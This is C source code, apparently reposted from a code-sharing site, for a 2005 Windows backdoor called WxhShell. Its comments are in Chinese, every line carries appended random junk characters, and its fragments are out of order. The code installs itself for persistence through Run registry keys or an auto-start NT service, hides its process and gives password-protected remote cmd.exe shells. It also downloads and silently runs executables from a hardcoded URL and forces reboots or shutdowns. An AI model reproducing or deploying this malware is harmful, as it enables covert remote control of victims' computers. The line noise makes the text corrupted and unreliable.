    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /(.mp<s0  
    else { sXD1C2o  
    closesocket(wsh); p_${Nj  
    ExitThread(0); =g|IG [V  
    } n}!PO[m~  
    break; !& z(:d  
    } .MP !`  
  // 获取shell O vk_\On  
  case 's': { (A~/'0/  
    CmdShell(wsh); Z2'Bk2 L  
    closesocket(wsh); 1$p2}Bf {n  
    ExitThread(0); Q|D @Yd\  
    break; IVA mV!.z  
  } .O0 +H+  
  // 退出 pQtJc*[!  
  case 'x': { wfq7ob4^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /#m=*&!CB  
    CloseIt(wsh); &L,nqc\3D5  
    break; f7X6fr<  
    } K otrX  
  // 离开 N<IT w/@^  
  case 'q': { $Z\.-QE\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &C "L  
    closesocket(wsh); Y]B)'[=h  
    WSACleanup(); WZ*ws[dVI  
    exit(1); VCD:3U 8  
    break; 8j=}u/T@F  
        } Na?!;1]_  
  } RM!<8fXYD  
  } |4uWh  
)C(? bR  
  // 提示信息 l@\#Ywz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hKT  
} YTexv;VNb|  
  } \l]DQaOEe  
tavpq.0O  
  return; Cc%LztP>  
} rU2%dkTa  
K"4>DaK2P  
// shell模块句柄 ck.w 5|$  
int CmdShell(SOCKET sock) \v.C]{Gzc  
{ (K)]qNH  
STARTUPINFO si; Te<}*qvD  
ZeroMemory(&si,sizeof(si)); L>SjllY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +ayos[<0#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; urMG*7i <c  
PROCESS_INFORMATION ProcessInfo; w[I E  
char cmdline[]="cmd"; ecCr6)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T`;%TO*Y  
  return 0; 8(~K~q[Cr  
} %\H|B0  
`m!j$,c.  
// 自身启动模式 _U |>b>  
int StartFromService(void) o .qf _A  
{ ^7 &5 z&o  
typedef struct Ipq"E  
{ uFPF!Ern  
  DWORD ExitStatus; 7 D^gMN%p  
  DWORD PebBaseAddress; [`c^ 4 E  
  DWORD AffinityMask; /M3Y~l$  
  DWORD BasePriority; /qy-qUh3h  
  ULONG UniqueProcessId; pJt,9e6  
  ULONG InheritedFromUniqueProcessId; JSTuXW  
}   PROCESS_BASIC_INFORMATION; O"c;|zCc>  
*U]V@;XF  
PROCNTQSIP NtQueryInformationProcess; 1>E<8&2[L  
ysQ,)QoiR{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V9dF1Hj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R)RG[F#   
}5}.lJ:  
  HANDLE             hProcess; =W BTm  
  PROCESS_BASIC_INFORMATION pbi; 6u7?dG'4  
zY('t!u8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WqXbI4;pJ  
  if(NULL == hInst ) return 0; H=Y{rq@  
:=\Hoz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ct=- 4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4bw4cqY;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VI'hb'2  
& '}/f5s|  
  if (!NtQueryInformationProcess) return 0; ,kF}lo)  
1][S#H/?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gr^E+#;  
  if(!hProcess) return 0; hnc@  
-2A(5B9Fq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zBk'{[y9L  
% Cv D-![0  
  CloseHandle(hProcess); !`M|C?b  
I^8"{J.Q)[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); % <q w  
if(hProcess==NULL) return 0; t`,` 6@d  
aW`Lec{.  
HMODULE hMod; <\pfIJr$  
char procName[255]; t<|NLk.  
unsigned long cbNeeded; MgNU``  
6Qy@UfB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !=:$lzS^  
UmclTGn  
  CloseHandle(hProcess); +i2}/s@JJ  
@>)r}b  
if(strstr(procName,"services")) return 1; // 以服务启动 yX0dbW~@y  
8W#heW\-]  
  return 0; // 注册表启动 "t_-f7fS7  
} R]btAu;Z  
U2wbvXr5-  
// 主模块 L"j tf78  
int StartWxhshell(LPSTR lpCmdLine) < !dqTJos  
{ yRfSJbzaf\  
  SOCKET wsl; %^>ju;i^O  
BOOL val=TRUE; !Y\D?rKZ  
  int port=0; <RG|Dx[:=  
  struct sockaddr_in door; }XSfst5-H  
HAJ7m!P  
  if(wscfg.ws_autoins) Install(); 8peDI7[|  
\DD0s8  
port=atoi(lpCmdLine); ~(IB0=A{v  
ZObhF#Y9  
if(port<=0) port=wscfg.ws_port; t{WzKy  
O2BDL1o  
  WSADATA data; iIq)~e/ Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vc+ARgvH+  
8qEVOZjV&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vOc 9ZE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '_/Bp4i  
  door.sin_family = AF_INET; mHBnC&-/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T<w5vqFDu  
  door.sin_port = htons(port); qASqscO  
uec!RKE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  uJ5Eka  
closesocket(wsl); m:WyuU<  
return 1; , eZ1uBI?  
} Qi LEL  
%d(^d  
  if(listen(wsl,2) == INVALID_SOCKET) { eQD)$d_5  
closesocket(wsl); Y>EzTV  
return 1; w`il=ZAC  
} e*;c(3>(  
  Wxhshell(wsl); q"<acqK  
  WSACleanup(); (Xq)py9  
)Ib<F 7v  
return 0; *i- _6s  
r;Gi+Ca5  
} 7qg{v9|,  
]b%Hy  
// 以NT服务方式启动 ?$6Y2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q&/Yg,p\  
{ NNE<L;u  
DWORD   status = 0; :SGF45>B@  
  DWORD   specificError = 0xfffffff; 9lW;Nk*j:  
Yl#Rib  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j  S?xk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RQ'H$r.7g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'F _8j;  
  serviceStatus.dwWin32ExitCode     = 0; X(\fN[;  
  serviceStatus.dwServiceSpecificExitCode = 0; Mc%Nf$XQ  
  serviceStatus.dwCheckPoint       = 0; 1I<rXY(a`  
  serviceStatus.dwWaitHint       = 0; {6c2{@  
r!HwXeEn/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7"w2$*4'0  
  if (hServiceStatusHandle==0) return; 5KDGSo  
""1^k2fj  
status = GetLastError(); CFqJ/ ''  
  if (status!=NO_ERROR) p Wt) A  
{ ;+<&8.=,)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1!1 beR]  
    serviceStatus.dwCheckPoint       = 0; b r^_'1  
    serviceStatus.dwWaitHint       = 0;  mi)LP?q  
    serviceStatus.dwWin32ExitCode     = status; _/s(7y!  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lv'D^'I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,>:;#2+og  
    return; 3'c0#h@VD  
  } N\#MwLm  
 k7>|q"0C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e=Z, Jg  
  serviceStatus.dwCheckPoint       = 0; Sz^5b!  
  serviceStatus.dwWaitHint       = 0; ;z IP,PMM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); spGB)k,^  
} |/2y-[;:  
yI ld75S`  
// 处理NT服务事件,比如:启动、停止 p"FW&Q=PN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }*ZHgf]~#  
{ )~+e`q  
switch(fdwControl) tvu!< dxZ  
{ F^5?\  
case SERVICE_CONTROL_STOP: sp5eVAd  
  serviceStatus.dwWin32ExitCode = 0; Tjl:|F8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8&Oa_{1+Q  
  serviceStatus.dwCheckPoint   = 0; nD)K}4  
  serviceStatus.dwWaitHint     = 0; HE'2"t[a  
  { {iv<w8CU)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l411a9o  
  } O=$~O\}b  
  return; n< ud> JIb  
case SERVICE_CONTROL_PAUSE: 2Ri{bWi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /}PF\j9#4  
  break; @*qz(h]\  
case SERVICE_CONTROL_CONTINUE: GHsilba  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n[]tXrhU  
  break; ) :\xHR4  
case SERVICE_CONTROL_INTERROGATE: Q"t<3-"  
  break; )@L'wW  
}; Wt=|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +\|Iu;w  
} ;Y; qg  
59!Fkd3  
// 标准应用程序主函数 LNa$ X5`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `X`2:@gQ  
{ E[*Fz1>  
h-m \%|D  
// 获取操作系统版本 )* Q-.Je/U  
OsIsNt=GetOsVer(); Nof3F/2 N&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7\9>a  
{qmdm`V[  
  // 从命令行安装 s.x&LG  
  if(strpbrk(lpCmdLine,"iI")) Install(); L W;heO"  
{O,{c\  
  // 下载执行文件 Uv?|G%cD-  
if(wscfg.ws_downexe) { sL@U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sPpsq  
  WinExec(wscfg.ws_filenam,SW_HIDE); V h k _  
} Tzn tO9P+  
0%Z]h?EYy|  
if(!OsIsNt) { u&9 r2R959  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]\xy\\b/`  
HideProc(); ]_8qn'7  
StartWxhshell(lpCmdLine); >NKe'q<)3  
} q-`RI*1]  
else KrXdnY8  
  if(StartFromService()) ]b=P=  
  // 以服务方式启动 g"L|n7_b  
  StartServiceCtrlDispatcher(DispatchTable); pFm=y#!t  
else +8#_59;x  
  // 普通方式启动 ;?6No(/  
  StartWxhshell(lpCmdLine); r} P<iX   
c1_5, 1U'  
return 0; ;]w<&C!=  
} ]a! xUg!S  
1|?05<8  
oX DN+4ge  
)6w}<W*1E  
=========================================== c= x,ijY "  
v\,N5  
>(<ytnt=  
Hsihytdj  
!j\" w p  
:gB[O>'<m  
" C:uz6i1  
J8"[6vId~  
#include <stdio.h> R-RDT9&<  
#include <string.h> :mS# h@l  
#include <windows.h> ]/!<PF  
#include <winsock2.h> S<L.c  
#include <winsvc.h> W?We6.%  
#include <urlmon.h> sz9G3artK&  
M#4QQ} F.  
#pragma comment (lib, "Ws2_32.lib") 0UH*\<R  
#pragma comment (lib, "urlmon.lib") " beQZG  
+R\vgE68  
#define MAX_USER   100 // 最大客户端连接数 u- o--q  
#define BUF_SOCK   200 // sock buffer RC^9HuR&  
#define KEY_BUFF   255 // 输入 buffer 5|I[>Su  
UDe |Sb  
#define REBOOT     0   // 重启 Bcjx>#3?L  
#define SHUTDOWN   1   // 关机 `xc^_781\  
7]BW[~77  
#define DEF_PORT   5000 // 监听端口 D!oc>K$B  
%&Fk4Z}M  
#define REG_LEN     16   // 注册表键长度 Lj"A4i_  
#define SVC_LEN     80   // NT服务名长度 TP}h~8 /;  
R.s^o]vT  
// 从dll定义API eVR5Xar  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xEltwuDd?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A+&xMM2Wj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2TES>}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &I({T`=  
sjM;s{gy  
// wxhshell配置信息 8`]=C~ G  
struct WSCFG { ;),BW g  
  int ws_port;         // 监听端口 a2f^x@0k  
  char ws_passstr[REG_LEN]; // 口令 >z%Q>(F  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6MG9a>=  
  char ws_regname[REG_LEN]; // 注册表键名 {0@& OO:w  
  char ws_svcname[REG_LEN]; // 服务名 +@Ad1fJi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pa^A$fy\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |w*R8ro_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H Y ynMP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8$c bVMjh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kwud?2E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7P B)'Wl"6  
3s:%2%jVK  
}; +'G0{;b  
<|*'O5B  
// default Wxhshell configuration #"ftI7=42  
struct WSCFG wscfg={DEF_PORT, MzYavg`  
    "xuhuanlingzhe", |T4kqW{  
    1, "0EA;S8$8  
    "Wxhshell", 9ktEm|F3  
    "Wxhshell", ]{ d[  
            "WxhShell Service", {u\%hpD_  
    "Wrsky Windows CmdShell Service", JTqq0OD}  
    "Please Input Your Password: ", Gs*G<P"  
  1, 3pXLSdxB  
  "http://www.wrsky.com/wxhshell.exe", }6-ZE9H-v  
  "Wxhshell.exe" ow/57P  
    }; XYH|;P6K  
*<'M!iRC  
// 消息定义模块 o]LRzI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; / EMJSr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1mSaS4!"B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O3N_\B:  
char *msg_ws_ext="\n\rExit."; f7hXQ|$  
char *msg_ws_end="\n\rQuit.";  Q2p)7G  
char *msg_ws_boot="\n\rReboot..."; $>R(W=Q  
char *msg_ws_poff="\n\rShutdown..."; @cq`:_.[  
char *msg_ws_down="\n\rSave to "; s-W[ .r|  
7dX/bzUVz8  
char *msg_ws_err="\n\rErr!"; rxO2js  
char *msg_ws_ok="\n\rOK!"; AY SSa 1}  
[Qdq}FYr  
char ExeFile[MAX_PATH]; C*I(|.i@  
int nUser = 0; #Y93y\  
HANDLE handles[MAX_USER]; dp5f7>]:(  
int OsIsNt; %@R~DBS  
XMRNuEU  
SERVICE_STATUS       serviceStatus; Z?^"\u-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `*\{.;,]#  
.9|u QEL  
// 函数声明 3_`szl-  
int Install(void); j}+5vB|0  
int Uninstall(void); (X6sSO  
int DownloadFile(char *sURL, SOCKET wsh); cE{ =(OQ  
int Boot(int flag); M]HgIL@9#  
void HideProc(void); O}#yijU3e  
int GetOsVer(void); &s)0z)mR8&  
int Wxhshell(SOCKET wsl); 3,);0@I  
void TalkWithClient(void *cs); 7W9~1 .SC  
int CmdShell(SOCKET sock); q6wr=OWD  
int StartFromService(void); G_Ay   
int StartWxhshell(LPSTR lpCmdLine); m= b~i^@  
gor <g))\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WA)Ij(M8 p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z{BA4sn  
m_!U}!  
// 数据结构和表定义 NNa1EXZ[  
SERVICE_TABLE_ENTRY DispatchTable[] = l SkEuN  
{ 3^.8.q(6  
{wscfg.ws_svcname, NTServiceMain}, \NXQ  
{NULL, NULL} *C,N'M<u  
}; QMk+RM8U  
 yu ,h\  
// 自我安装 &!y]:CC{  
int Install(void) kDB iBNdB  
{ {$^SP7qV#>  
  char svExeFile[MAX_PATH]; !Zbesp KZ  
  HKEY key; >sj bK%  
  strcpy(svExeFile,ExeFile); U&y`-@A4  
"L3Xd][  
// 如果是win9x系统,修改注册表设为自启动 :+ ,st&(E  
if(!OsIsNt) { d<@Mdo<;?g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T+RZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EX?h0Uy  
  RegCloseKey(key); }r2[!gGd%|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y5-kj,CB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sIm#_+Y  
  RegCloseKey(key); I}v]Zm9  
  return 0; HP a|uDVv  
    } 9DEh*%q  
  } jxy1  
} 3ViM ?p  
else { 5#_tE<uM  
k|O,1  
// 如果是NT以上系统,安装为系统服务 H2Eb\v`#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gKL1c{BV  
if (schSCManager!=0) [xpQH?  
{ M^H90GN)X  
  SC_HANDLE schService = CreateService 3:|-#F*k{  
  ( ]@SU4  
  schSCManager, ]0D9N"  
  wscfg.ws_svcname, u fw cF*  
  wscfg.ws_svcdisp, ?En7_X{C?  
  SERVICE_ALL_ACCESS, Z~3u:[x";  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (L|}`  
  SERVICE_AUTO_START, B4O6> '  
  SERVICE_ERROR_NORMAL, C(]'&~}(  
  svExeFile, ):bu;3E  
  NULL, h39e)%x1  
  NULL, =w <VT%  
  NULL, fW~*6ln  
  NULL, 7<yp"5><)  
  NULL { (\(m/!Z  
  ); PZ34*q  
  if (schService!=0) +AK:(r  
  { /84bv=  
  CloseServiceHandle(schService); <pOl[5v]  
  CloseServiceHandle(schSCManager); *fP(6e#G,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #'>?:k  
  strcat(svExeFile,wscfg.ws_svcname); S!7g)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iMWW%@U^=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) p^  
  RegCloseKey(key); G\1J _al  
  return 0; j, t~  
    } e d;"bb  
  } L#j |2H|  
  CloseServiceHandle(schSCManager); 6;JP76PD  
} \|Qb[{<:,  
} p^8 JLC  
] C,1%(  
return 1; 6wpU6NU  
} ;i9>}]6  
>Me]m<$E;  
// 自我卸载 B~_Spp  
int Uninstall(void) >Zdi5') 5  
{ dYyW]nZ&  
  HKEY key; ~Oh=   
g+9v$[!  
if(!OsIsNt) { l.7d$8'\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IIax gfhZ  
  RegDeleteValue(key,wscfg.ws_regname); XOxB (0@  
  RegCloseKey(key); 6{7 3p@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9- G b"hr  
  RegDeleteValue(key,wscfg.ws_regname); =xBT>h;  
  RegCloseKey(key); !~d'{sy6  
  return 0; Yzd2G,kZ=  
  } Y*\6o7  
} a*Jn#Mx<M  
} Uk02IOXQ  
else { ?48AY6  
p1 4d ,}4W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b8HE."*t  
if (schSCManager!=0) U"B.:C2  
{ Vr\Q`H.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M@~ o6^  
  if (schService!=0) 7O461$4v  
  { 4OEKx|:5n  
  if(DeleteService(schService)!=0) {  0dh#/  
  CloseServiceHandle(schService); A|C_np^z2  
  CloseServiceHandle(schSCManager); M*H< n*  
  return 0; E&9!1!B  
  } /=trj5h  
  CloseServiceHandle(schService); 1uC;$Aj6:  
  } ^5>du~d  
  CloseServiceHandle(schSCManager); " <*nZ~nE)  
} 8;8YA1@w  
} K>LpN')d  
gr\@sx?b  
return 1; G)~MbesJ  
} :;_#5  
u0'i!@795  
// 从指定url下载文件 QmHwn)Ly  
int DownloadFile(char *sURL, SOCKET wsh) 7&px+155  
{ Q!x`M4   
  HRESULT hr; /B=l,:TnJ  
char seps[]= "/"; (h|ch#  
char *token; =Pj@g/25u  
char *file; lJ'trYaq7  
char myURL[MAX_PATH]; Ym:{Mm=ud  
char myFILE[MAX_PATH];  s<d!+<  
KJ pj  
strcpy(myURL,sURL); Y.9~Bo<<r  
  token=strtok(myURL,seps); !Z-9tYO  
  while(token!=NULL) mb~./.5F  
  { ;'hi9L  
    file=token; Lb^(E-  
  token=strtok(NULL,seps); W'V@  
  } >"bnpYSe  
-+' #*V  
GetCurrentDirectory(MAX_PATH,myFILE); a! ?.F_T9A  
strcat(myFILE, "\\"); K@*rVor{  
strcat(myFILE, file); +Tp%5+E  
  send(wsh,myFILE,strlen(myFILE),0); n_u`B|^Pj  
send(wsh,"...",3,0); j,4,zA1j|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `>\4"`I  
  if(hr==S_OK) }<.7xz|V  
return 0; lc" qqt  
else mHHzCKE,  
return 1; s1Okoxh/!V  
m'SmN{(t  
} %Dra7B%  
*i%.{ YH  
// 系统电源模块 N tO?  
int Boot(int flag) pY, O_ t$  
{ ?-d Ain1w  
  HANDLE hToken; e"PMvQ  
  TOKEN_PRIVILEGES tkp; srsK:%`  
@7 )Z  
  if(OsIsNt) { u2\+?`Ox  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  :4{Qh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v8>!Gft  
    tkp.PrivilegeCount = 1; o|0 '0P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vk WO}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]u;GNz}?  
if(flag==REBOOT) { k3C"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pf{`/UlD  
  return 0; u\:rY)V  
} tnN'V  
else { t18UDR{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^t`f1rGR  
  return 0; )&XnM69~b  
} j=FMYd8$y  
  } Mq76]I%  
  else { \m%J`{Mt  
if(flag==REBOOT) { g%X&f_@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~c!Rx'  
  return 0; G&.d)NfE  
} jT{f<P0  
else { Lr wINVa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wInY7u Bd!  
  return 0; kpl~/i`4  
} =?wMESU  
} "$]ls9-%n  
-J{Dxz  
return 1; {3.*7gnY\L  
} &|s+KP|d  
mMV2h|W   
// win9x进程隐藏模块 lfXH7jL2~  
void HideProc(void) N?\bBt@  
{ nG!&u1*  
KlY,NSlQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #NW Zk.S  
  if ( hKernel != NULL ) O >nK ,.  
  { Z+r%_|kZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mVa?aWpez  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _yiR h:  
    FreeLibrary(hKernel); nt drXg  
  } ,tcP=f dk]  
"3\oQvi.  
return; | A3U@>6  
} (W7;}gysh  
i5.?g<.H  
// 获取操作系统版本 eVZa6la"  
int GetOsVer(void) .4H_Zt[2  
{ f3/SO+Me}  
  OSVERSIONINFO winfo; &t~zD4u B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <9ePi9D(  
  GetVersionEx(&winfo); h U 9\y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q^*G`&w,  
  return 1; 3w t:5 Im  
  else umZlIH[7  
  return 0; P4hZB_.=  
} di"C]" ;  
Tld1P69(  
// 客户端句柄模块 P{"  WlJ  
int Wxhshell(SOCKET wsl) fEHh]%GT`  
{ &7$,<9.  
  SOCKET wsh; D/gd  
  struct sockaddr_in client; g&{gD^9)4  
  DWORD myID; )?F $-~7  
NQDLI 1o  
  while(nUser<MAX_USER) kX@ bv"i  
{ K~`n}_:  
  int nSize=sizeof(client); #DQX<:u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /!^L69um  
  if(wsh==INVALID_SOCKET) return 1; o9_(DJ<{  
_Wm(/ +G_|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ls[Ls  
if(handles[nUser]==0) N8,EI^W8Z  
  closesocket(wsh); X!,#'&p&  
else x1.3W j  
  nUser++; nw~/~eM5=  
  } ;%BhhmR)[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~!8%_J_  
_L?v6MTj  
  return 0; b^uP^](J  
} >r;ABz/  
R#"U/8b>z  
// 关闭 socket xIS\4]F?r  
void CloseIt(SOCKET wsh) gV<0Hj  
{ ]]\)=F`n77  
closesocket(wsh); .tZjdNE(h  
nUser--; T r SN00  
ExitThread(0); J!=](s5|  
} ZmEG<T05  
aSn0o_4bD  
// 客户端请求句柄 zWF 5m )-  
void TalkWithClient(void *cs) M3DxapG  
{ ?l6>6a7  
C>.]Bvg  
  SOCKET wsh=(SOCKET)cs; i!CKA}",  
  char pwd[SVC_LEN]; &_< VZS  
  char cmd[KEY_BUFF]; OT-n\sL$  
char chr[1]; RY\{=f  
int i,j; KU1+<OCh  
b}ySZlmy  
  while (nUser < MAX_USER) { cxtLy&C  
h g%@W  
if(wscfg.ws_passstr) { T)b3N| ONB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iifc;62  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a"`g"ZRx  
  //ZeroMemory(pwd,KEY_BUFF); ) 1lJ<g#  
      i=0; mtSNl|O&{  
  while(i<SVC_LEN) { Y&?|k'7  
UI|v/(_^F  
  // 设置超时 03X<x|  
  fd_set FdRead; "\VW. S  
  struct timeval TimeOut; GOv9 2$e  
  FD_ZERO(&FdRead); y+K7WUwhq  
  FD_SET(wsh,&FdRead); AzHIp^  
  TimeOut.tv_sec=8; {toyQ)C7  
  TimeOut.tv_usec=0; NWo7wVwc/c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ybs=W< -  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 844tXMtPB\  
vDu0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tb-OKZq  
  pwd=chr[0]; uB5h9&57  
  if(chr[0]==0xd || chr[0]==0xa) { a<OCO0irJ  
  pwd=0; ](B& l{V  
  break; [47K7~9p  
  } ^>,< *p  
  i++; lH#@^i|G  
    } 5;3c<  
"/4s8.dw+u  
  // 如果是非法用户,关闭 socket 3e!3.$4M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nw9-pQ  
} ,omp F$%  
AJ;u&&c4C\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rK(x4]I l"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8w{#R{w  
xm%[}Dt]  
while(1) { TEaD-mY3  
-4*'WzWr  
  ZeroMemory(cmd,KEY_BUFF); s=^r/Sz902  
z;fd#N:  
      // 自动支持客户端 telnet标准   l }2%?d  
  j=0; %\(y8QV  
  while(j<KEY_BUFF) { {Y3_I\H8{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &%f]-=~  
  cmd[j]=chr[0]; 3b g4#c  
  if(chr[0]==0xa || chr[0]==0xd) { ^DW#  
  cmd[j]=0; /(hP7_]`2  
  break; b qg]DO$*  
  } /%J&/2Wz  
  j++; < "L){$  
    } ?)Czl4J  
&xGfkCP.]  
  // 下载文件 z:ru68  
  if(strstr(cmd,"http://")) { egxJ3.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )Dk0V!%N  
  if(DownloadFile(cmd,wsh)) cXLV"d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %!ER@&1f&  
  else 0j a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e' /  
  } jm#d7@~4  
  else { _SBp66 r  
H0D>A<Ue  
    switch(cmd[0]) { 9Sx<tj_4P{  
  WTV3p,;6a  
  // 帮助 c-s`>m  
  case '?': { 4! Oa4  
